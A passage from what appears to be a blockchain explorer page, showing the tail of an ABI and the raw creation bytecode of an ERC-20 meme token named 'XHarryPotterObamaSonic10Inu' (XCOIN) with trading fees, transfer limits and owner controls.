l","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a0604052739b8ab6589b57f07da80eb4d767dfd8d2be0d5201600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550739b8ab6589b57f07da80eb4d767dfd8d2be0d5201600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600d60006101000a81548160ff0219169083151502179055506000600d60016101000a81548160ff0219169083151502179055506040518061010001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152506016600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e0820151816007015550503480156200018757600080fd5b506040518060400160405280601b81526020017f584861727279506f747465724f62616d61536f6e69633130496e7500000000008152506040518060400160405280600581526020017f58434f494e0000000000000000000000000000000000000000000000000000008152508160039081620002059190620010ec565b508060049081620002179190620010ec565b50505060006200022c62000b2860201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1681525050620003476080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff62000b3060201b60201c565b5060006016600101819055506000601660030181905550600060166002018190555060166002015460166003015460166001015462000387919062001202565b62000393919062001202565b60166000018190555060006b033b2e3c9fd0803ce80000009050612710600182620003bf91906200123d565b620003cb9190620012b7565b6008819055506064600482620003e291906200123d565b620003ee9190620012b7565b60148190555060646004826200040591906200123d565b620004119190620012b7565b60128190555060646004826200042891906200123d565b620004349190620012b7565b60138190555060006016600501819055506000601660070181905550600060166006018190555060166006015460166007015460166005015462000479919062001202565b62000485919062001202565b601660040181905550600160106000620004a462000b5e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016010600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016010600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60006200070b62000b5e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000620009ca62000b5e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000b21338262000b8860201b60201c565b5062001412565b600033905090565b600062000b5462000b4662000b2860201b60201c565b848462000d2260201b60201c565b6001905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000bfa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000bf19062001350565b60405180910390fd5b62000c168160025462000e0f60201b62001cc31790919060201c565b60028190555062000c74816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000e0f60201b62001cc31790919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000d16919062001383565b60405180910390a35050565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000e02919062001383565b60405180910390a3505050565b600080828462000e20919062001202565b90508381101562000e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000e5f90620013f0565b60405180910390fd5b8091505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000ef457607f821691505b60208210810362000f0a5762000f0962000eac565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000f747fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000f35565b62000f80868362000f35565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000fcd62000fc762000fc18462000f98565b62000fa2565b62000f98565b9050919050565b6000819050919050565b62000fe98362000fac565b6200100162000ff88262000fd4565b84845462000f42565b825550505050565b600090565b6200101862001009565b6200102581848462000fde565b505050565b5b818110156200104d57620010416000826200100e565b6001810190506200102b565b5050565b601f8211156200109c57620010668162000f10565b620010718462000f25565b8101602085101562001081578190505b62001099620010908562000f25565b8301826200102a565b50505b505050565b600082821c905092915050565b6000620010c160001984600802620010a1565b1980831691505092915050565b6000620010dc8383620010ae565b9150826002028217905092915050565b620010f78262000e72565b67ffffffffffffffff81111562001113576200111262000e7d565b5b6200111f825462000edb565b6200112c82828562001051565b600060209050601f8311600181146200116457600084156200114f578287015190505b6200115b8582620010ce565b865550620011cb565b601f198416620011748662000f10565b60005b828110156200119e5784890151825560018201915060208501945060208101905062001177565b86831015620011be5784890151620011ba601f891682620010ae565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200120f8262000f98565b91506200121c8362000f98565b9250828201905080821115620012375762001236620011d3565b5b92915050565b60006200124a8262000f98565b9150620012578362000f98565b9250828202620012678162000f98565b91508282048414831517620012815762001280620011d3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620012c48262000f98565b9150620012d18362000f98565b925082620012e457620012e362001288565b5b828204905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001338601f83620012ef565b9150620013458262001300565b602082019050919050565b600060208201905081810360008301526200136b8162001329565b9050919050565b6200137d8162000f98565b82525050565b60006020820190506200139a600083018462001372565b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000620013d8601b83620012ef565b9150620013e582620013a0565b602082019050919050565b600060208201905081810360008301526200140b81620013c9565b9050919050565b6080516140706200145160003960008181611ca101528181612ed401528181612fb501528181612fdc01528181613078015261309f01526140706000f3fe6080604052600436106102345760003560e01c806365fcab2c1161012e578063a457c2d7116100ab578063e16830a81161006f578063e16830a8146108c7578063eb325221146108f0578063ef8700e51461092d578063f2fde38b14610958578063f887ea401461098157610273565b8063a457c2d7146107b5578063a9059cbb146107f2578063bd11e0d91461082f578063c024666814610861578063dd62ed3e1461088a57610273565b80637571336a116100f25780637571336a146106ce5780638da5cb5b146106f757806395d89b4114610722578063963932b41461074d578063979262481461078a57610273565b806365fcab2c146106115780636b1f0a551461063a57806370a0823114610663578063715018a6146106a0578063751039fc146106b757610273565b806323b872dd116101bc5780633ccfd60b116101805780633ccfd60b14610516578063475dbdde1461054157806349bd5a5e1461057e5780634fbee193146105a9578063635d24a8146105e657610273565b806323b872dd1461041b5780632dd6f433146104585780632f13fbee14610483578063313ce567146104ae57806339509351146104d957610273565b806318160ddd1161020357806318160ddd146103465780631a8145bb146103715780631c6e8a751461039c5780631e554877146103c55780631f3fed8f146103f057610273565b806306fdde0314610278578063095ea7b3146102a35780630b1c7182146102e057806310d5de531461030957610273565b36610273573073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361027157600080fd5b005b600080fd5b34801561028457600080fd5b5061028d6109ac565b60405161029a919061323f565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c591906132fa565b610a3e565b6040516102d79190613355565b60405180910390f35b3480156102ec57600080fd5b506103076004803603810190610302919061339c565b610a5c565b005b34801561031557600080fd5b50610330600480360381019061032b91906133dc565b610bde565b60405161033d9190613355565b60405180910390f35b34801561035257600080fd5b5061035b610bfe565b6040516103689190613418565b60405180910390f35b34801561037d57600080fd5b50610386610c08565b6040516103939190613418565b60405180910390f35b3480156103a857600080fd5b506103c360048036038101906103be9190613433565b610c0e565b005b3480156103d157600080fd5b506103da610cc2565b6040516103e79190613418565b60405180910390f35b3480156103fc57600080fd5b50610405610cc8565b6040516104129190613418565b60405180910390f35b34801561042757600080fd5b50610442600480360381019061043d9190613460565b610cce565b60405161044f9190613355565b60405180910390f35b34801561046457600080fd5b5061046d610da7565b60405161047a9190613418565b60405180910390f35b34801561048f57600080fd5b50610498610dad565b6040516104a59190613355565b60405180910390f35b3480156104ba57600080fd5b506104c3610dc0565b6040516104d091906134cf565b60405180910390f35b3480156104e557600080fd5b5061050060048036038101906104fb91906132fa565b610dc9565b60405161050d9190613355565b60405180910390f35b34801561052257600080fd5b5061052b610e7c565b6040516105389190613355565b60405180910390f35b34801561054d57600080fd5b50610568600480360381019061056391906133dc565b610f14565b6040516105759190613355565b60405180910390f35b34801561058a57600080fd5b50610593610f34565b6040516105a091906134f9565b60405180910390f35b3480156105b557600080fd5b506105d060048036038101906105cb91906133dc565b610f5a565b6040516105dd9190613355565b60405180910390f35b3480156105f257600080fd5b506105fb610fb0565b6040516106089190613355565b60405180910390f35b34801561061d57600080fd5b50610638600480360381019061063391906133dc565b610fc3565b005b34801561064657600080fd5b50610661600480360381019061065c91906132fa565b611249565b005b34801561066f57600080fd5b5061068a600480360381019061068591906133dc565b61127a565b6040516106979190613418565b60405180910390f35b3480156106ac57600080fd5b506106b56112c2565b005b3480156106c357600080fd5b506106cc61141a565b005b3480156106da57600080fd5b506106f560048036038101906106f0919061339c565b6114ca565b005b34801561070357600080fd5b5061070c6115bc565b60405161071991906134f9565b60405180910390f35b34801561072e57600080fd5b506107376115e6565b604051610744919061323f565b60405180910390f35b34801561075957600080fd5b50610774600480360381019061076f9190613514565b611678565b6040516107819190613355565b60405180910390f35b34801561079657600080fd5b5061079f611721565b6040516107ac9190613418565b60405180910390f35b3480156107c157600080fd5b506107dc60048036038101906107d791906132fa565b611727565b6040516107e99190613355565b60405180910390f35b3480156107fe57600080fd5b50610819600480360381019061081491906132fa565b6117f4565b6040516108269190613355565b60405180910390f35b34801561083b57600080fd5b50610844611812565b604051610858989796959493929190613541565b60405180910390f35b34801561086d57600080fd5b506108886004803603810190610883919061339c565b611848565b005b34801561089657600080fd5b506108b160048036038101906108ac91906135bf565b61193a565b6040516108be9190613418565b60405180910390f35b3480156108d357600080fd5b506108ee60048036038101906108e9919061339c565b6119c1565b005b3480156108fc57600080fd5b50610917600480360381019061091291906133dc565b611ab3565b6040516109249190613355565b60405180910390f35b34801561093957600080fd5b50610942611ad3565b60405161094f9190613418565b60405180910390f35b34801561096457600080fd5b5061097f600480360381019061097a91906133dc565b611ad9565b005b34801561098d57600080fd5b50610996611c9f565b6040516109a3919061365e565b60405180910390f35b6060600380546109bb906136a8565b80601f01602080910402602001604051908101604052809291908181526020018280546109e7906136a8565b8015610a345780601f10610a0957610100808354040283529160200191610a34565b820191906000526020600020905b815481529060010190602001808311610a1757829003601f168201915b5050505050905090565b6000610a52610a4b611d21565b8484611d29565b6001905092915050565b610a64611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea90613725565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a906137b7565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f6020528060005260406000206000915054906101000a900460ff1681565b6000600254905090565b600a5481565b610c16611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9c90613725565b60405180910390fd5b80600d60016101000a81548160ff02191690831515021790555050565b60125481565b60095481565b6000610cdb848484611e14565b610d9c84610ce7611d21565b610d978560405180606001604052806028815260200161401360289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d4d611d21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e99092919063ffffffff16565b611d29565b600190509392505050565b60135481565b600d60029054906101000a900460ff1681565b60006012905090565b6000610e72610dd6611d21565b84610e6d8560016000610de7611d21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc390919063ffffffff16565b611d29565b6001905092915050565b600080479050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051610ec890613808565b60006040518083038185875af1925050503d8060008114610f05576040519150601f19603f3d011682016040523d82523d6000602084013e610f0a565b606091505b5050809250505090565b60116020528060005260406000206000915054906101000a900460ff1681565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60019054906101000a900460ff1681565b610fcb611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461105a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105190613725565b60405180910390fd5b80601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d60006101000a81548160ff0219169083151502179055506001600d60016101000a81548160ff02191690831515021790555043600c81905550600160116000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61127682600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361284d565b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112ca611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611359576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135090613725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611422611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a890613725565b60405180910390fd5b6114bd6103e88061285d565b6114c86103e86128ad565b565b6114d2611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155890613725565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546115f5906136a8565b80601f0160208091040260200160405190810160405280929190818152602001828054611621906136a8565b801561166e5780601f106116435761010080835404028352916020019161166e565b820191906000526020600020905b81548152906001019060200180831161165157829003601f168201915b5050505050905090565b6000611682611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170890613725565b60405180910390fd5b8160088190555060019050919050565b60145481565b60006117ea611734611d21565b846117e585604051806060016040528060258152602001613fc8602591396001600061175e611d21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e99092919063ffffffff16565b611d29565b6001905092915050565b6000611808611801611d21565b8484611e14565b6001905092915050565b60168060000154908060010154908060020154908060030154908060040154908060050154908060060154908060070154905088565b611850611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d690613725565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6119c9611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613725565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60106020528060005260406000206000915054906101000a900460ff1681565b600b5481565b611ae1611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6790613725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd69061388f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000808284611cd291906138de565b905083811015611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e9061395e565b60405180910390fd5b8091505092915050565b600033905090565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e079190613418565b60405180910390a3505050565b60008103611e2d57611e28838360006128d6565b6127e4565b611e356115bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ea35750611e736115bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ebc5750600d60029054906101000a900460ff16155b1561224257600d60009054906101000a900460ff16611fb657600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f765750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611fb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fac906139ca565b60405180910390fd5b5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156120595750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120a8576012548111156120a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209a90613a5c565b60405180910390fd5b612197565b601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561214b5750600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561219657601354811115612195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218c90613aee565b60405180910390fd5b5b5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612241576014546121f48361127a565b826121ff91906138de565b1115612240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223790613b5a565b60405180910390fd5b5b5b600061224d3061127a565b9050600060085482101590508080156122725750600d60019054906101000a900460ff165b801561228b5750600d60029054906101000a900460ff16155b80156122e05750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156123365750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561238c5750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123d0576001600d60026101000a81548160ff0219169083151502179055506123b4612a80565b6000600d60026101000a81548160ff0219169083151502179055505b6000600d60029054906101000a900460ff16159050600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124865750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561249057600090505b80156127d5576000600c54431015612532576124c960646124bb606388612d2790919063ffffffff16565b612da190919063ffffffff16565b90506063605e826124da9190613b7a565b6124e49190613beb565b600960008282546124f591906138de565b92505081905550606360058261250b9190613b7a565b6125159190613beb565b600b600082825461252691906138de565b925050819055506127b0565b601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561259057506000601660040154115b15612672576125c060646125b260166004015488612d2790919063ffffffff16565b612da190919063ffffffff16565b9050601660040154601660070154826125d99190613b7a565b6125e39190613beb565b600a60008282546125f491906138de565b92505081905550601660040154601660050154826126129190613b7a565b61261c9190613beb565b6009600082825461262d91906138de565b925050819055506016600401546016600601548261264b9190613b7a565b6126559190613beb565b600b600082825461266691906138de565b925050819055506127af565b601160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126d057506000601660000154115b156127ae5761270060646126f260166000015488612d2790919063ffffffff16565b612da190919063ffffffff16565b9050601660000154601660030154826127199190613b7a565b6127239190613beb565b600a600082825461273491906138de565b92505081905550601660000154601660010154826127529190613b7a565b61275c9190613beb565b6009600082825461276d91906138de565b925050819055506016600001546016600201548261278b9190613b7a565b6127959190613beb565b600b60008282546127a691906138de565b925050819055505b5b5b60008111156127c5576127c48730836128d6565b5b80856127d19190613c1c565b9450505b6127e08686866128d6565b5050505b505050565b6000838311158290612831576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612828919061323f565b60405180910390fd5b50600083856128409190613c1c565b9050809150509392505050565b612858838383611d29565b505050565b6103e882612869610bfe565b6128739190613b7a565b61287d9190613beb565b6012819055506103e88161288f610bfe565b6128999190613b7a565b6128a39190613beb565b6013819055505050565b6103e8816128b9610bfe565b6128c39190613b7a565b6128cd9190613beb565b60148190555050565b61294181604051806060016040528060268152602001613fed602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e99092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129d4816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a739190613418565b60405180910390a3505050565b6000612a8b3061127a565b90506000600b54600954600a54612aa291906138de565b612aac91906138de565b905060008203612abd575050612d25565b6023600854612acc9190613b7a565b821115612ae5576023600854612ae29190613b7a565b91505b6000600282600a5485612af89190613b7a565b612b029190613beb565b612b0c9190613beb565b90506000612b238285612deb90919063ffffffff16565b90506000479050612b3382612e35565b6000612b488247612deb90919063ffffffff16565b90506000612b7386612b6560095485612d2790919063ffffffff16565b612da190919063ffffffff16565b90506000612b9e87612b90600b5486612d2790919063ffffffff16565b612da190919063ffffffff16565b905060008183612bae91906138de565b84612bb99190613c1c565b90506000600a8190555060006009819055506000600b81905550600087118015612be35750600081115b15612c2c57612bf28782613072565b7f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f83814868682604051612c23929190613c50565b60405180910390a15b6000600285612c3b9190613beb565b84612c4691906138de565b9050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612cb0573d6000803e3d6000fd5b506007